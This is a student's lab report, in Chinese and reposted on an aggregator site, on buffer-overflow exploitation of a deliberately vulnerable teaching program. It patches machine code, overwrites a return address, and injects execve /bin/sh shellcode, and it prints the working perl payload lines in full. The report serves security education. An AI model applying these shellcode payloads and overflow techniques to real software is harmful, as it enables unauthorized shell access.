20222327 2024-2025-1 《网络与系统攻防技术》实验一实验报告

news/2024/10/9 17:59:57/文章来源:https://www.cnblogs.com/qgomlxg/p/18454750

一.实验内容

1.了解Linux系统下的基本操作命令,能够处理一些命令出现的error。
2.掌握了栈与堆的概念以及在进程内存管理中的应用。
3.了解基本的汇编语言指令及其功能。
4.能够深刻理解BoF的原理以及如何运用payload完成BoF的攻击

二.实验过程

任务一 直接修改程序机器指令,改变程序执行流程!

1.通过wincp将文件上传到虚拟机中,将文件改名为pwn20222327后运行objdump -d pwn20222327 | more

2.查找getShell、foo、main函数,图中标注为main函数中需要更改的机器指令

3.由于需要修改到getShell函数的返回地址,同时此处机器指令为补码,所以应该用该条指令的下一地址减去getShell的返回地址即用
4ba-47d,结果为ffffffc3,所以需要将此处标注的d7修改为c3


上图为已经改好的文件,可见此时已经可以访问getShell函数

(任务一与后续任务运行环境不一样,所以会造成界面不同,原因在最后会给出)

任务二 通过构造输入参数,造成BOF攻击,改变程序执行流

1.将未修改为文件改名为pwn20222327_2,打开该文件

标注区域显示需要将在堆栈移动0x1c个空间用作缓冲区,在这些空间后需要执行gets操作,存在缓冲区漏洞,我们可以利用漏洞用getShell的返回地址来进行覆盖,进而达到运行getShell函数的目的

我们可以启动gdb来测试什么样的字符串会使这一程序出现错误

我们先输入5555555566666666777777778888888899999999来试验

可以发现eip中为0x39393939

由于我们需要执行getShell函数,所以在实验字符串的基础上我们只需要将原先99999999的位置替换为getShell的返回地址0x0804847d

我们此时需要确定字节的顺序,所以我们用5555555566666666777777778888888898765432来进行检测


由此看见是反向地址,所以我们需要构造55555555666666667777777788888888\x7d\x84\x04\x08\x0a,但是键盘无法输入16进制
所以通过perl构造输入文件input,同时检验input文件是否为设想的字符串

由图可知是符合预期的,此时需要将文件输入运行的程序当中

此时发现运行了getShell证明操作正确,符合预期

任务三 注入Shellcode并执行

1.首先进行stack的设置

2.构造需要注入的payload

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

此时打开另一终端查看进程PID

启动gdb进行调试

设置断点查看buf的地址

在另一终端中回车

和0x01020304挨着的就是我们所要寻找的返回地址的位置,即0xffffcfb0,则
perl -e 'print "A" x 32;print "\xb0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

由上图可知getShell成功运行,试验成功!

三、问题及解决方案

  • 问题1:起初开开心心的用virtualbox上安装openEUler完成了任务一,想着到实验课上完成后续实验,结果在实验课上直接给了我一个惊喜,virtualbox再次提醒我需要重装软件(在之前已经出现过此类问题)
    问题1解决方案:直接卸载,用VMware安装kali系统完成任务二和任务三

  • 问题2:虚拟机缺少gdb导致任务二无法进行

    问题2解决方案:将报错代码粘贴给大模型,直接用大模型给出的代码安装apt和gdb


进行apt的更新

进行gdb的下载

  • 问题3:缺少execstack
    问题3解决方案:从同学那里白嫖了一个execstack安装文件,直接通过sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb 命令进行安装

四、学习感悟、思考等

第一次实验一波三折,主要的实验内容还没有触及的时候先出现的是配置环境和任务所需要的工具配置,配置好环境已经消耗了很多的时间,而后在进行实验内容时就相对较为顺利,因为有老师的讲解、博客上的一步一步的指导以及同学们的帮助。同时我也第一次对缓冲区溢出的攻击有了一个清晰的认知,无论从自己的攻击过程还是一步一步地调试和分析,都需要很多知识的储备,也提醒了我在之后编写程序时需要注意避免缓冲区溢出的漏洞。(尽管写出来的程序没有很大的应用,但是也是一个需要注意的问题)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/810657.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

春秋云镜 Privilege

春秋云镜 Privilege上来先用fscan扫一下.___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| __/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan ve…

AI在不同领域的应用与行业影响

本文将探讨AI在不同技术领域和行业中的广泛应用,以及这些应用如何影响和改变我们的世界。 I. 引言 AI技术正日益渗透到各个技术领域,从计算机视觉到自然语言处理,再到音频处理,AI的应用正变得越来越广泛。这些技术的发展不仅推动了科学研究的进步,也在实际应用中展现出巨大…

多态和继承

继承:通常意思就是儿子可以继承父亲的东西,在java里面也是一样的,当我们在同一个包内有多个类的成员变量/方法相同时可以使用继承,只可以在子非静态方法使用 继承就是把相同的成员变量/成员方法放在一个类中,然后使用extends这个关键字来让一个类来继承另一类从而达到代码…

Apache DolphinScheduler社区9月进展记录

各位热爱 Apache DolphinScheduler 的小伙伴们,社区 9 月月报更新啦!这里将记录 Apache DolphinScheduler 社区每月的重要更新,欢迎关注! 月度 Merge Star 感谢以下小伙伴上个月为 Apache DolphinScheduler 做的精彩贡献(排名不分先后):@Mighten,@ChaoquanTao,@wangxj3,…

我国首颗可重复使用返回式技术试验卫星成功发射|数字孪生技术助力运载火箭仿真验证系统革命

9月27日18时30分,长征二号丁运载火箭在酒泉卫星发射中心一飞冲天,随后将我国首颗可重复使用返回式技术试验卫星——实践十九号卫星送入预定轨道,发射任务取得圆满成功。▲长二丁火箭发射升空​新一代运载火箭肩负着未来载人登月、深空探测等重大任务,不仅是我国航天事业的重…

解决mac 扩展屏色温闪烁问题(冷、暖色切换)

关闭原彩显示 即可 如果是此文是转载文章,本人会附上转载链接,此篇文章的版权归原创作者所属,如果侵权请与我联系,我会删除此文。 若没有标明转载链接,此篇文章属于本人的原创文章,其版权所属:作者:feiquan出处:http://www.cnblogs.com/feiquan/版权声明:本文版权归…

SSL证书是否可以给多个域名使用?

在当今数字化的网络环境中,SSL证书在保障网站安全、保护用户数据传输方面发挥着至关重要的作用。那么,SSL 证书是否可以给多个域名使用呢?这是一个在网站开发、运营和安全管理领域备受关注的问题。 SSL 证书能够给多个域名使用吗?答案是视情况而定,不同类型的 SSL 证书在多…

OOP实验一

任务1: 源码:1 #include <iostream>2 #include <string>3 #include <vector>4 #include <algorithm>5 using namespace std;6 // 声明7 // 模板函数声明8 template<typename T>9 void output(const T& c); 10 // 普通函数声明 11 void tes…

最近运行VBA代码时候出现这样错误,现已经找到了问题所在处

最近运行VBA代码时候出现这样错误,《我们遇到了一个无法恢复的问题》经过研究这是一个有关数据类型相关的问题

组件间通信--自定义事件

自定义事件实现通信的逻辑是给子组件的标签上绑定一个自定义事件。 在子组件中写触发事件,传入实参。 在父组件中定义具体事件方法体逻辑。 例如:<!-- 绑定自定义事件xxx,实现子组件给父组件传递数据 --> <Event2 @xxx="handler3"></Event2>在子…